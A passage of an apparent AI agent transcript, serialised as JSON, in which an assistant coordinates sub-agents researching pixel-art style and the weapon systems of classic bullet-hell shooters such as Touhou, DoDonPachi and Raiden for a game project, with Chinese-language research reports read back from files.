Collection)**:靠近屏幕顶端的一条\"自动收集线\"(东方系标准道具回收机制),线上道具全自动收集——UI/视觉上要有明确标识(例如顶部的装饰发光横线)。\n\n### 4.3 得分 / 连击的视觉反馈\n\n- **数字飘字**:得分/连击数用大号、亮色、带描边的像素数字,从事件点弹出并上浮淡出;字体建议用现成像素字体(如 Press Start 2P、Silkscreen 的开源替代)。\n- **连击(Combo/Chain)反馈**:连击计时条/乘数图标(如\"x2.5\")靠近 HUD 核心区;连击即将断时闪烁/变红制造紧张感(Dodonpachi 式\"防御性计分\"靠视觉压力驱动玩法)。\n- **擦弹(Graze)反馈**:子弹擦过判定外圈时给火花/星光 + 分数飘字,是东方系核心爽点,视觉上要有专门粒子。\n- **分数增长可视化**:让\"数字变大\"成为本能驱动(Boghog:大亮数字的成长本身就是激励)。\n- **层次化强调**:重要计分元素视觉上加强(更大更亮),次要元素弱化,让玩家一眼抓住当前目标(Boghog「Depth vs Clarity」)。\n\n### 4.4 血条、Bomb 数量等 HUD 设计\n\n- **HUD 基础要素**(STG 惯例):得分、连击/擦弹、自机数量(残机图标)、Bomb 数量(B 图标)、火力等级、Boss 血条(分段)、Boss 名/符卡名横幅、暂停/接关菜单。\n- **Boss 血条**:建议**分段色条**(每段对应一个攻击阶段),置于屏幕上方通栏;段末闪白提示\"即将切换攻击\"。\n- **Bomb 图标**:用典型\"B\"或者手雷/符卡造型的像素图标,数量用并列小图标表示(东方系风格:一枚 B 一颗星/符卡的排列)。\n- **残机(Lives)**:像素自机小图标排列,比数字更直观。\n- **注意遮挡**:HUD 元素放在玩法区之外(顶部/底部条)或半透明;Boghog 提醒玩家主要在屏幕中区活动,HUD 不应遮挡弹幕视野。\n- **风格统一**:HUD 的像素分辨率、色板、字体与游戏本体一致(CraftPix 等素材库提供现成 pixel UI,可直接适配)。\n- **像素 UI 素材参考**:CraftPix.net 的 Pixel Art Game UI 分类(免费/付费都有)。\n\n---\n\n## 5. 参考资源搜索汇总\n\n### 5.1 itch.io 免费/付费像素弹幕素材\n\n| 资源 | 内容 | 链接 |\n|---|---|---|\n| **Danmaku Sprite Pack**(Void dancer)| 模仿东方官方风格的子弹精灵包,免费,需遵守东方二次创作规约,可编辑 | https://void-dancer.itch.io/danmaku-sprite |\n| **Danmaku Sprite Pack(BDragon1727)** | 16×16 火/水/魔法子弹、特效精灵表,免费 | https://bdragon1727.itch.io/fire-pixel-bullet-16x16 、 https://bdragon1727.itch.io/free-effect-and-bullet-16x16 |\n| **Pixel SHMUP Ships / Pixel Art Spaceships for SHMUP**(DyLESTorm)| 免费 1 自机+2 敌机+2 弹幕+8 帧爆炸+UI;付费版 60 艘原创飞船 | https://livingtheindie.com/free-pixel-art-smhup-ships-game-asset 、 https://livingtheindie.itch.io/pixel-art-spaceships-for-shmup |\n| **Pixel Nebula Player SpaceShip**(PixelCarvel)| 32×32 自机,另有玩家僚机(Drone)、Boss 包、竖向背景包 | https://itch.io/game-assets/tag-bullet-hell |\n| **TopDown BulletHell Pack**(einav23)| $5.50 俯视角弹幕包(子弹+敌机+特效) | https://itch.io/game-assets/tag-bullet-hell |\n| **itch.io 筛选页** | `tag=Bullet Hell`、`tag=Shoot 'Em Up`、`tag=Pixel Art`、`Free` 组合筛选 | https://itch.io/game-assets/free/tag-pixel-art/tag-shoot-em-up 、 https://itch.io/game-assets/free/tag-bullet-hell/tag-sprites 、 https://itch.io/game-assets/free/tag-2d/tag-bullet-hell |\n\n### 5.2 OpenGameArt 免费素材(CC0/OGA-BY 授权)\n\n- **Explosions, Bullets, Fire etc (Pixel art)**:爆炸/子弹/火/电等离子精灵,干净像素风 | https://opengameart.org/content/explosions-bullets-fire-etc-pixel-art\n- **Assets Free Laser Bullets Pack 2020**(Wenrexa):66 个 CC0 激光/子弹 PNG,建议配 Color Dodge/Lighten 叠加渲染 | https://opengameart.org/content/assets-free-laser-bullets-pack-2020\n- **Enemy Spaceship 2D Sprites Pixel Art**(CraftPix 发布,OGA-BY 3.0):敌机精灵 | https://opengameart.org/content/enemy-spaceship-2d-sprites-pixel-art\n- **shmup 合集页**:https://opengameart.org/content/shmup\n\n### 5.3 经典 STG 精灵分析与弹幕设计参考\n\n- **Touhou Wiki - Hit box**:判定点机制与尺寸说明 | https://touhou.fandom.com/wiki/Hit_box 、 https://en.touhouwiki.net/wiki/Hitbox\n- **Touhou Danmakufu: Bullets(Fandom)**:8 色子弹系统 | https://touhou.fandom.com/wiki/Touhou_Danmakufu:_Bullets\n- **Touhou Community Jargon**:子弹类型名称大全(球/苦无/护符/星/音符/冰锥等)| https://maribelhearn.com/jargon\n- **Sparen's Danmaku Design Studio(Guide A2/A3)**:固定/随机/瞄准三种发射角、方向性子弹图形、环形公式 | https://sparen.github.io/ph3tutorials/ddsga2.html\n- **Boghog's bullet hell shmup 101**:弹幕游戏设计圣经(可见性/价值分层/深度排序/Toaplan 阵型等)| https://shmups.wiki/library/Boghog%27s_bullet_hell_shmup_101\n- **Shmups Wiki 主站**:https://shmups.wiki\n- **Video Game Boss Design For Shmups**(GameDeveloper):血条分段与 Boss 战设计 | https://www.gamedeveloper.com/design/video-game-boss-design-for-shmups\n- **The Anatomy of a Shmup**(GameDeveloper):爆炸、预告、难度交互清单 | https://www.gamedeveloper.com/design/the-anatomy-of-a-shmup\n- **Bullet Pattern Design(SHMUP WORKSHOP 03,YouTube)**:渐进难度/预告/引导玩家 | https://www.youtube.com/watch?v=ArZRZSYICLo\n\n### 5.4 像素艺术风格指南(教程/博客)\n\n- **SLYNYRD Pixelblog 31 - Shmup Design Part 1**:分辨率、自机、敌机、子弹、爆炸(本报告核心来源之一)| https://www.slynyrd.com/blog/2020/12/14/pixelblog-31-shmup-sprite-design\n- **SLYNYRD Pixelblog 32 - Shmup Design Part 2**:玩家射击类型(Vulcan/Laser/Homing)、道具、环境/视差 | https://www.slynyrd.com/blog/2021/2/15/pixelblog-32-shmup-design-part-2\n- **Pixel Art Tutorial - Understanding Explosions**(Penusbmic,itch.io 视频教程):爆炸动画两种做法 | https://penusbmic.itch.io/pixel-art-tutorial-understanding-explosions\n- **The 12 animation principles adapted for pixel art**(sprite-ai.art):低分辨率下的挤压拉伸/跟随动作 | https://www.sprite-ai.art/guides/animation-principles\n- **Aseprite / Piskel 爆炸教程**(YouTube 检索词:Aseprite pixel art explosion tutorial)\n- Piskel(免费在线像素编辑器):https://www.piskelapp.com\n\n### 5.5 建议搜索关键词(继续深挖用)\n\n`pixel art shmup sprites`、`bullet hell pixel art assets`、`STG sprite design`、`东方Project 像素风格`、`pixel art explosion animation`、`Touhou danmakufu bullet graphics`、`danmaku bullet sheets site:itch.io`、`shmup hitbox indicator`、`CAVE 子弹精灵拆解`\n\n---\n\n## 6. 给本项目落地落实的美术规范建议(可直接执行)\n\n1. **画布与倍率**:逻辑分辨率 **480×270(推荐)或 320×180**,整数倍放大 3~4 倍输出;所有精灵按 16 或 8 的倍数取尺寸(16×16 自机起步 / 32×32 精细自机;敌弹 8~16×16 系列;Boss 64×64)。\n2. **色板分工(建议)**:\n - 背景:低饱和中暗调(深蓝紫灰系),价值集中在中间调;\n - 敌方子弹:红/粉/紫系(8 色 Danmakufu 色板起步)+ 白/亮描边;\n - 我方子弹:青/绿白系 + 深描边;自机:高对比品牌色(如红白、蓝白);\n - 道具:金/橙(得分)、红(火力 P)、蓝(速度 S)、银灰(Bomb)——注意与敌弹色彩错开;\n - 爆炸:白→橙红黄→灰;\n - 预警:蓄力时变亮/变红,激光先亮细线。\n3. **动画帧数基线**:自机滚转 3~5 帧 + 尾焰 2~4 帧;敌机 2~4 帧;子弹旋转 4 帧(或 8 帧)、脉动 2~4 帧、闪烁 2 帧;爆炸 6~10 帧;道具 idle 2~4 帧。统一 12~15 FPS。\n4. **判定与显示**:自机真实判定用 2~4px 半径小圆,聚焦时显示同心空心圆 + 中心点(半透明+微旋),判定圈与显示圈完全同心。\n5. **绘制顺序(渲染层)**:背景 → 道具/粒子 → 我方子弹 → 敌人本体 → 我方自机 → **敌方子弹(最顶层)**;敌弹内部:小快弹 > 大慢弹。\n6. **工作流建议**:先用 itch.io/OpenGameArt 免费包搭出可玩原型(自机 1 + 敌机 3 + 子弹 5 种 + 爆炸 1 + UI 板),再按上述规范逐一套用原创精灵替换;调色与动画用 Aseprite(付费,推荐)或 Piskel(免费)。\n\n---\n\n## 7. 信息来源与可信度说明\n\n- **基于实测/原文提取的内容**(可信度高,可自行核验):SLYNYRD Pixelblog 31/32 全文、Boghog's bullet hell shmup 101 全文、void-dancer Danmaku Sprite Pack 页面、LivingTheIndie 免费 SHMUP 素材描述、各 itch.io/OpenGameArt 页面标题与标签。\n- **基于第三方社区/百科归纳**:Touhou Wiki 判定点机制(Hitbox 条目)、Maribel Hearn 的 Touhou Jargon、Sparen 弹幕教程、note 上\"15 个美丽弹幕\"文章、Reddit r/shmupdev 讨论——这些是社区整理,非官方文档,具体数值(如判定点像素大小、各作品子弹尺寸)以实际游戏/官方资料为准。\n- **标注为\"既有认知+\"的内容**(第 1.3 节东方风格总结):来自模型训练知识与社区资料交叉印证,非实时官方文档,**未逐一验证**,使用前建议对照东方官方立绘/游戏截图复核。\n- **价格为检索时点快照**(如 $5.50、$4.99),可能变动,以页面为准。", "line_start": 1, "line_end": 259, "total_lines": 259, "file_size": 25538, "char_count": 13230, "message": "已读取 research/pixel_art_style/pixel_art_research.md 的内容(行 1~259)"}}, "tool_call_id": "read_file_5", "name": "read_file"}, {"role": "tool", "content": "子智能体 #1 状态: running\n调用了15次\n阅读了0次文件\n编辑了0次文件\n搜索了0次内容\n查看了16个网页\n运行了3个指令\n调研经典弹幕射击游戏武器系统\n\n子智能体 #2 状态: running\n调用了11次\n阅读了0次文件\n编辑了0次文件\n搜索了0次内容\n查看了20个网页\n运行了1个指令\n调研弹幕射击游戏敌方弹幕模式", "timestamp": "2026-08-23T12:32:43.074991", "message_id": "msg_7805495c921c4c79a2359788cb238b19", "metadata": {"tool_payload": {"success": true, "results": [{"agent_id": 1, "found": true, "task_id": "sub_1_1787459389_fd8265", "status": "running", "summary": "调研经典弹幕射击游戏武器系统", "created_at": 1787459389.187212, "updated_at": 1787459561.649636, "deliverables_dir": "/Users/demo/starraid/research/weapon_system", "stats": {"runtime_start": 1787459389187.451, "runtime_seconds": 169, "files_read": 0, "write_files": 1, "edit_files": 0, "searches": 0, "web_pages": 16, "commands": 3, "api_calls": 15, "token_usage": {"prompt": 706788, "completion": 12185, "total": 718973}, "current_context_tokens": 89191, "compress_round": 0, "turn_count": 15}, "stats_summary": "调用了15次\n阅读了0次文件\n写入了1次文件\n编辑了0次文件\n搜索了0次内容\n查看了16个网页\n运行了3个指令", "final_result": null}, {"agent_id": 2, "found": true, "task_id": "sub_2_1787459391_a9b055", "status": "running", "summary": "调研弹幕射击游戏敌方弹幕模式", "created_at": 1787459391.223906, "updated_at": 1787459561.72753, "deliverables_dir": "/Users/demo/starraid/research/bullet_patterns", "stats": {"runtime_start": 1787459391224.0571, "runtime_seconds": 139, "files_read": 0, "write_files": 0, "edit_files": 0, "searches": 0, "web_pages": 20, "commands": 1, "api_calls": 11, "token_usage": {"prompt": 438417, "completion": 8577, "total": 446994}, "current_context_tokens": 76472, "compress_round": 0, "turn_count": 11}, "stats_summary": "调用了11次\n阅读了0次文件\n写入了0次文件\n编辑了0次文件\n搜索了0次内容\n查看了20个网页\n运行了1个指令", "final_result": null}]}}, "tool_call_id": "get_sub_agent_status_6", "name": "get_sub_agent_status"}, {"role": "user", "content": "[系统通知|sub_agent]\n✅ 子智能体1 任务摘要:调研经典弹幕射击游戏武器系统 已完成。\n\n调用了15次\n阅读了0次文件\n写入了1次文件\n编辑了0次文件\n搜索了0次内容\n查看了16个网页\n运行了3个指令\n\n运行了174秒\n\n已完成经典STG武器系统调研并生成报告。通过网络搜索(维基百科、Shmups Wiki、THBWiki、slynyrd Pixelblog等)收集东方Project、怒首领蜂、雷电、R-Type、Gradius等游戏资料,撰写 weapon_research.md(294行/约23.8KB,存放于 research/weapon_system/)。报告覆盖:①7类武器(散弹/集中/激光/追踪/环绕/蓄力/炸弹)的具体游戏例子与视觉描述(含幽幽子蝶弹定位说明);②升级系统(P道具、多级火力、武器切换、东方Power、怒首领蜂强化);③像素风格表现(子弹大小/形状/颜色/轮廓/闪烁、muzzle flash/尾迹/爆炸、武器视觉区分度、屏幕可读性设计);④14条像素落地设计建议与参考资料清单。文件已验证完整。\n\n交付目录:/Users/demo/starraid/research/weapon_system", "timestamp": "2026-08-23T12:32:43.376308", "message_id": "msg_0a63b884a6ff4725845f195e4c3d5c25", "metadata": {"runtime_injected": true, "source": "sub_agent", "inline": true, "is_auto_generated": true, "auto_message_type": "runtime_sub_agent", "message_source": "sub_agent", "runtime_guidance": true, "runtime_guidance_original": "✅ 子智能体1 任务摘要:调研经典弹幕射击游戏武器系统 已完成。\n\n调用了15次\n阅读了0次文件\n写入了1次文件\n编辑了0次文件\n搜索了0次内容\n查看了16个网页\n运行了3个指令\n\n运行了174秒\n\n已完成经典STG武器系统调研并生成报告。通过网络搜索(维基百科、Shmups Wiki、THBWiki、slynyrd Pixelblog等)收集东方Project、怒首领蜂、雷电、R-Type、Gradius等游戏资料,撰写 weapon_research.md(294行/约23.8KB,存放于 research/weapon_system/)。报告覆盖:①7类武器(散弹/集中/激光/追踪/环绕/蓄力/炸弹)的具体游戏例子与视觉描述(含幽幽子蝶弹定位说明);②升级系统(P道具、多级火力、武器切换、东方Power、怒首领蜂强化);③像素风格表现(子弹大小/形状/颜色/轮廓/闪烁、muzzle flash/尾迹/爆炸、武器视觉区分度、屏幕可读性设计);④14条像素落地设计建议与参考资料清单。文件已验证完整。\n\n交付目录:/Users/demo/starraid/research/weapon_system", "visibility": "compact", "starts_work": false, "task_id": "sub_1_1787459389_fd8265"}}, {"role": "assistant", "reasoning_content": "太好了!子智能体1也完成了。让我读取它的报告,同时继续等待子智能体2。", "content": "**子智能体1(武器系统)** 也完成了!让我读取报告,同时检查子智能体2的状态。", "timestamp": "2026-08-23T12:32:50.638928", "message_id": "msg_c123e3a92c5446d39dc6a94c26564933", "metadata": {"model_key": "kimi-k2.6"}, "tool_calls": [{"id": "read_file_7", "index": 0, "type": "function", "function": {"name": "read_file", "arguments": "{\"intent\": \"读取武器系统调研报告\", \"path\": \"research/weapon_system/weapon_research.md\", \"type\": \"read\"}"}}, {"id": "get_sub_agent_status_8", "index": 1, "type": "function", "function": {"name": "get_sub_agent_status", "arguments": "{\"intent\": \"检查子智能体2状态\", \"agent_ids\": [2]}"}}]}, {"role": "tool", "content": "读取 research/weapon_system/weapon_research.md 行 1~295 (max_chars=50000)\n```\n# 经典弹幕射击游戏(STG)武器系统调研报告\n\n> 调研主题:经典弹幕射击游戏(STG / Bullet Hell)的武器系统设计与像素风格表现\n> 调研日期:2026-08-23\n> 信息来源:网络公开资料(维基百科、Shmups Wiki、THBWiki/东方维基、slynyrd Pixelblog、各游戏官方/玩家社区资料),详见文末「参考资料」\n\n---\n\n## 目录\n\n1. [概述](#1-概述)\n2. [玩家武器类型分类](#2-玩家武器类型分类)\n3. [武器升级系统](#3-武器升级系统)\n4. [像素风格表现](#4-像素风格表现)\n5. [像素 STG 武器视觉设计建议(落地清单)](#5-像素-stg-武器视觉设计建议落地清单)\n6. [参考资料](#6-参考资料)\n\n---\n\n## 1. 概述\n\n弹幕射击游戏(Shoot 'em up / STG,日式弹幕习惯称「弹幕射击」或 Bullet Hell)的核心设计循环是:**在布满敌方子弹的屏幕中移动自机、同时用自机武器持续输出**。因此武器系统承担着三重职责:\n\n1. **输出手段**:决定清杂(popcorn)与打 BOSS 的效率;\n2. **玩法差异化**:不同武器/机体提供不同的操作手感与策略分支;\n3. **视觉语言**:武器是玩家在屏幕上\"属于自己\"的元素,必须与敌弹、背景清晰区分。\n\n本报告以三条经典主线为调研对象:\n\n- **东方Project**(ZUN / 上海爱丽丝幻乐团,PC 弹幕标杆,自机武器+符卡 BOMB 体系)\n- **怒首领蜂系列**(CAVE,街机弹幕始祖,Shot/Laser 双模式 + Hyper 系统)\n- **雷电系列**(Seibu Kaihatsu,经典街机纵版,多武器切换 + 8 级火力)\n- 辅以 **R-Type(蓄力/力球)**、**Gradius(升级条/子机)** 等横版经典作补充\n\n> 说明:调研发现,任务描述中提到的「东方Project 的幽幽子」并非自机散弹武器,而是《东方妖妖梦》的 BOSS(西行寺幽幽子)。她的招牌弹幕是**蝶弹(蝴蝶形状子弹)大面积散开**,属于\"散布型弹幕\"视觉范式,可作为散弹/散布弹幕的视觉参考;东方自机散弹的典型例子是灵梦 C(Youkai Buster)、魔理沙 A(Spread Star)、东风谷早苗等,本报告两部分都会覆盖。\n\n---\n\n## 2. 玩家武器类型分类\n\n### 2.1 散弹(Spread Shot)\n\n**定义**:向前方扇形/多方向发射大量小弹丸,覆盖范围宽、清杂效率高,但单发伤害分散,对单体(BOSS)总伤害通常低于集中火力。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 雷电系列 | **Vulcan(红色道具)** | 初始武器,升级后弹幕从 2 连装→3→4 连装、散布角逐渐加宽(最多 7 方向);视觉上是一排并排的小弹丸扇形散开 |\n| 怒首领蜂 | **Shot(点按 A 键)** | 标准\"spread\"散弹,覆盖面比激光宽;Shot Type 强化后散弹密度/威力翻倍;视觉为密集白色/浅色小弹丸 |\n| 东方 Project | **灵梦 C(Youkai Buster/妖怪破坏者)**、**魔理沙 A(Spread Star/散星)** | 道中清杂强、BOSS 输出低;散布的弹丸+子机(Option)向两侧展开 |\n| 东方(BOSS 视觉范本) | **西行寺幽幽子的蝶弹(死蝶「華胥の永眠」等)** | 以**蝴蝶形状子弹**大面积散开铺满屏幕,是\"散布型弹幕\"最经典的视觉形态之一 |\n\n**设计要点**:散弹的关键是\"扇面角度 + 弹丸数量 + 弹丸间距\"三个可调参数。升级时优先扩展扇面角度或增加弹丸密度,让玩家能直观看到\"火力变强了\"。\n\n---\n\n### 2.2 集中射击(Focus Shot)\n\n**定义**:把所有火力集中在自机正前方一小条区域,单发伤害高(DPS 高),适合贴脸(pointblanking/Shotgunning)打 BOSS,但因覆盖窄需要瞄准走位。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **低速模式(按住 Shift)时的射击**:灵梦「博丽灵符/封魔针」、魔理沙「非指向性激光/高速射击」 | 高速移动时是散弹,按住 Shift 进入低速(目押)模式后,射击自动收拢为**前方集中的高伤害火力**;视觉上弹丸从\"散开\"变为\"一束\" |\n| 怒首领蜂 | **Laser 模式**(见 2.3) | 东方把\"集中\"做成独立模式,怒首领蜂则直接把集中形态做成持续光束 |\n| 风神录 灵梦 B | **Forward Focus Type(Sealing Needle/封印针)** | 正前方集中射击型,BOSS 战伤害高、道中需要编排走位 |\n\n**设计要点**:集中射击通常与\"低速/精确操控\"绑定,视觉上要和散弹形成**一收一放**的对比——弹丸收拢成束、必要时加一条细光束/光线提示\"伤害集中\"。\n\n---\n\n### 2.3 激光 / 光束武器(Laser)\n\n**定义**:持续输出的光束型武器。特点:判定穿透(可打穿一排敌人)、伤害集中、通常伴随机体减速或能量光环(Aura)。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 怒首领蜂 | **Laser(按住 A 键)** | 大型窄光束,最强武器(对 BOSS 首选);Laser Type 可穿透杂鱼、激活更快;激活时机身周围出现 **Aura(灵气光环)**,贴脸时激光+Aura 双重伤害;使用激光时自机减速便于精确躲避 |\n| 雷电系列 | **Laser(蓝色道具)/ Plasma Laser(紫色道具)** | 直线激光,升级增加光束数量与威力;Plasma 激光**可吸附高 HP 敌人并弯曲**(追击相邻目标) |\n| 东方 Project | **魔理沙(Illusion Laser/幻影激光)**、B 型穿透激光 | 穿透型光束;妖妖梦起有\"非指向性激光\"(按住时发射贯穿激光) |\n\n**设计要点**:\n- 光束是**连续**的,区别于散弹的**离散弹丸**——视觉上用粗、直、持续的光柱 + 起点处的光晕做区分;\n- 激光与\"机体周围光环\"绑定是怒首领蜂的标志性设计,光环既是伤害来源也是视觉提示(\"你现在是激光模式\");\n- 注意激光模式下机体的移动速度降低,这是手感上的重要反馈。\n\n---\n\n### 2.4 追踪弹 / 制导武器(Homing)\n\n**定义**:发射后自动追踪敌人的弹药。上手简单、道中省心,代价是单发伤害低、无法集中打同一目标。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **灵梦 A(Homing Amulet/诱导灵符)** | 非集中模式为追踪弹,自动锁定敌人;集中模式切换为前方直射 |\n| 雷电系列 | **Homing Missile(H 道具)** | 子武器系统,追踪导弹自动飞向敌人 |\n| R-Type | **Homing Missile** | 与主炮同时发射的追踪导弹 |\n\n**设计要点**:追踪弹必须**视觉上可读——弹丸带明显的\"转弯/锁定\"行为**(一开始直线、接近目标时转向),并常伴随尾迹(trail)以表现导弹感。像素下建议用 1-2 像素的小弹丸 + 短尾迹 + 发光的\"引导火\"。\n\n---\n\n### 2.5 近战 / 环绕武器(Orbit / Force / Option)\n\n**定义**:不(仅)发射弹丸,而是以\"挂在自机上的物体\"进行接触伤害、挡子弹,或跟随自机复制射击。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| R-Type | **Force Pod(力量球)** | 可以发射出去、也可以收回挂在机头的球体;接触敌人造成伤害、可阻挡子弹 |\n| 怒首领蜂 | **Laser Aura** | 激光激活时机身周围的环状灵气,接触即伤害(贴脸加成) |\n| Gradius | **Option(子机)** | 发光的无敌球体尾随自机,复制自机射击,可堆 2-4 个 |\n| 东方 Project | **子机(Option)**:风神录后 P 道具主要增加子机数量 | 子机在自机两侧/前后跟随发射,火力升级的直观表现 |\n\n**设计要点**:环绕武器是最能体现\"火力等级\"的视觉载体——**子机数量=火力等级**是东方风神录之后的通用做法,玩家一眼可读。像素下子机用发光的小球/小符纸 + 拖尾即可。\n\n---\n\n### 2.6 蓄力射击(Charge Shot)\n\n**定义**:按住射击键充能,松开时释放一发大威力\"蓄力弹\"。蓄力时间越长威力越大,通常带穿透/范围效果。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| R-Type | **Wave Cannon(波动炮)** | 按住 A 蓄力,蓄力等级(charge gauge)越高波动炮越大越强,可穿透弱敌;R-Type Final 3 有最多 2 段蓄力的强化波动炮 |\n| 怒首领蜂(近似) | **Hyper** | 蓄能量槽(Hyper Gauge),满后释放一次爆发性强化(更接近\"强化爆气\"而非单体蓄力弹,见 3.5) |\n\n**设计要点**:\n- 蓄力需要**清晰的充能指示**:R-Type 在机身上方显示蓄力槽/蓄力球,蓄力阶段机身周围能量球从小变大、颜色变亮;\n- 释放瞬间用**大尺寸弹体+全屏震动/闪光**强化\"这一发很重\"的感觉。\n\n---\n\n### 2.7 炸弹 / 清屏技能(Bomb / Spell Card / 灵击)\n\n**定义**:有限的强力保命技:清屏敌弹、短暂无敌、对全场敌人大伤害;部分还能吸道具。数量受限,是玩家\"资源管理\"的核心。\n\n| 游戏 | 例子 | 机制与视觉 |\n|---|---|---|\n| 东方 Project | **符卡 BOMB(自机符卡)** | 发动时显示角色立绘+符卡名(私人用视觉/命名系统),清屏敌弹为☆道具、全屏吸道具、短时间无敌;数量有限(通常 3 个起步) |\n| | **灵击(风神录/地灵殿)** | BOMB 变体:不限制次数,改为消耗 Power(见 3.4);风神录灵击为向前推出大型圆环,BOSS战额外全屏判定 |\n| 怒首领蜂 | **Spread Bomb(散弹炸弹)/ Laser Bomb(激光炸弹)** | 炸弹随当前武器状态变化:散弹状态=中规模清屏;激光状态=前方大型激光束(伤害更高);发动时无敌并消弹 |\n| 雷电系列 | **Bomb** | 消屏子弹+BOSS区域伤害;按炸弹键到爆炸有短暂延迟 |\n\n**设计要点**:\n- 炸弹的**视觉语言 = 全屏级特效**:闪光、扩散圆环、敌弹化为道具/星星——让\"屏幕瞬间被清理\"的结果可视化;\n- 东方把炸弹做成\"符卡\"(有名字有立绘)是世界观与玩法结合的最佳范例,值得像素游戏借鉴(起一个帅气的招式名);\n- 炸弹与武器状态联动(怒首领蜂散弹/激光两种炸弹)可以增加决策深度。\n\n---\n\n## 3. 武器升级系统\n\n### 3.1 道具拾取升级(P 道具 / Power-Up)\n\n几乎所有经典 STG 都用\"拾取掉落道具→火力升级\"的模式,区别在道具形态与上限设计:\n\n| 游戏 | 道具 | 升级机制 |\n|---|---|---|\n| 东方 Project | **红色 P 道具** | 小 P +1(红妖永)、+0.05(风神录)、+0.01(星莲船后);大 P +8 / +1.00。满 Power(Full Power Mode)后 P 道具自动转为其他道具(分数/信仰等) |\n| 怒首领蜂 | **P(Power Up)** | 4 个 P 达到满级;死亡后主力武器降 1 级、另一武器归 1 级(二周目则双双降 1 级) |\n| 雷电系列 | **红(Vulcan)/蓝(Laser)/紫(Plasma)/H/M(导弹)** | 同类道具拾取才升级;主武器 8 级满(Vulcan 连装数+散布角递增、Laser 光束数递增);死亡后武器掉落还原 |\n\n**设计要点**:\n- **同类拾取才升级**(雷电)制造\"专注一系武器\"的策略取舍;\n- 掉道具设计(死亡时爆出若干 P 道具)让玩家可以\"捡回\"部分火力,是容错设计;\n- 满级后道具转化(东方)避免火力溢出浪费,是一种奖励机制。\n\n### 3.2 多级别火力变化\n\n- **雷电**:主武器 **8 级**。Vulcan 从 2 连装→3→4 连装、散布角逐步加大;Laser 从单束→多束、光束加粗;是\"逐级可读\"的经典范例。\n- **怒首领蜂**:**4 级(Level 0–4)**。每级激光每秒伤害递增(如 A-Shot 激光 128→136/132→140/136→144 per 2 frames),火力升级数值化。\n- **东方**:Power 分级(红妖永 0–128;风神录 0–5.00;星莲船后 1.00–4.00 下限),变化体现在本体子弹数量(早期)或子机数量/排列(风神录后)。\n\n**设计要点**:每个火力级别都要有**对应的视觉变化**(弹丸数量、散布角、光束宽度、子机数量),让玩家不需要看 HUD 也能感知当前火力等级。\n\n### 3.3 武器切换机制\n\n| 游戏 | 切换方式 | 说明 |\n|---|---|---|\n| 东方 Project | **高速/低速(Shift)** | 同一武器在两种移动速度下显示\"散弹/集中\"两种形态,一按即切换 |\n| 怒首领蜂 | **点按 A = Shot / 按住 A = Laser** | 一个键承载两种武器形态;另在选机界面选择 Shot Type(散弹强化)或 Laser Type(激光强化),是\"模式选择\"的鼻祖 |\n| 雷电 | **红/蓝/紫/绿道具** | 拾取道具即时切换主武器/导弹类型 |\n| Gradius | **Power Meter(升级条)** | 吃一个道具点亮升级条下一格,按确定键购买(Speed/Missile/Double/Laser/Option/护盾……),买完回卷重来——\"选择顺序\"本身就是策略 |\n| 怒首领蜂大往生(DOJ) | **Element Dolls(元素人偶)**:Shotia(强化散弹)/Leinyan(强化激光)/EXY(双强化) | 人偶决定强化方向+炸弹容量上限(3-6 / 2-4 / 1-2),强化与资源形成权衡 |\n\n**设计要点**:\n- 武器切换要么做成\"一键瞬切\"(东方 Shift、怒首领蜂按住),要么做成\"有成本的选择\"(雷电道具、Gradius 升级条);\n- 切武器的代价越小,玩家越倾向频繁换武器应敌(节奏快);代价越大,越需要路线规划(深思熟虑)。\n\n### 3.4 东方 Project 的 Power 系统\n\n- P 道具是唯一火力来源:早期(红/妖/永)为 **0–128** 区间,小 P +1 / 大 P +8;风神录改为 **0.00–5.00**(小 P +0.05 / 大 P +1.00);星莲船后为 **1.00–4.00** 下限。\n- 表现载体变化:永夜抄以前\"本体射出的子弹变多\";风神录以后改为\"增加射出的子机(Option)\"——**火力可视化**。\n- Power 还承担资源职能:风神录/地灵殿的**灵击消耗 1.00 Power**,使用后射击能力减弱,形成\"用资源换保命\"的抉择。\n- 满 Power 后 P 道具转化为分数/信仰道具,防止浪费。\n\n### 3.5 怒首领蜂的强化系统\n\n1. **双模式(Shot/Laser Type)**:初代 DDP 引入。Shot Type 强化散弹(更密、更宽、双倍火力)、激光则细且不可穿透;Laser Type 让激光穿透杂鱼、激活更快、光环保留,但散弹变弱。\n2. **Element Dolls(DOJ)**:见 3.3,强化方向与炸弹容量权衡。\n3. **Hyper 系统(DOJ 起)**:玩家通过连击、收集蜜蜂、贴脸输出积攒 **Hyper Gauge**,满后掉落 Hyper 道具(上限 5 个);激活时:\n - 全场敌弹消除 + 短暂无敌(80/120 帧);\n - 散弹与激光威力暴涨(射出的散弹可消敌弹、激光可挡 BOSS 大激光);\n - 激活期间敌人喷更多子弹、**游戏 RANK 隐藏难度提升**;\n - 计时器以机身周围**白色圆环**呈现,圆环消失=Hyper 结束。\n - 这是\"用强化换难度\"的经典设计——高回报高风险。\n\n**设计要点**:怒首领蜂证明\"武器强化\"可以和\"游戏难度自适应(Rank)\"挂钩,让强力火力本身成为平衡杠杆。\n\n---\n\n## 4. 像素风格表现\n\n### 4.1 子弹的像素美术设计(大小、形状、颜色)\n\n综合 slynyrd(Raymond Schlitter)的 STG 像素美术教程与弹幕社区经验,核心原则是**可见性(readability)第一**:\n\n- **颜色**:子弹应是屏幕上最鲜艳的对象,用高饱和亮色与背景拉开;弹幕游戏普遍选用**红/粉/紫系**作敌弹(不易与背景、自机弹冲突),偶用蓝/黄作功能性区分。\n- **大小**:大子弹更醒目但占屏更大易显得傻;小子弹容易淹没在特效里。混合多种尺寸:大体型通常暗示更高伤害。\n- **形状**:圆、椭圆、针、箭、刀、蝴蝶、米粒、苦无、符纸(东方命名体系:小玉/大玉/针弹/米弹/蝶弹/札弹/箭弹……)等独特形状增强辨识度与趣味。\n- **轮廓线(Outline)**:几乎必须。slynyrd 建议**亮色+暗色双重描边**,或统一用白色描边让子弹在任意背景下可读(敌机/自机用深色描边以区分层级)。\n- 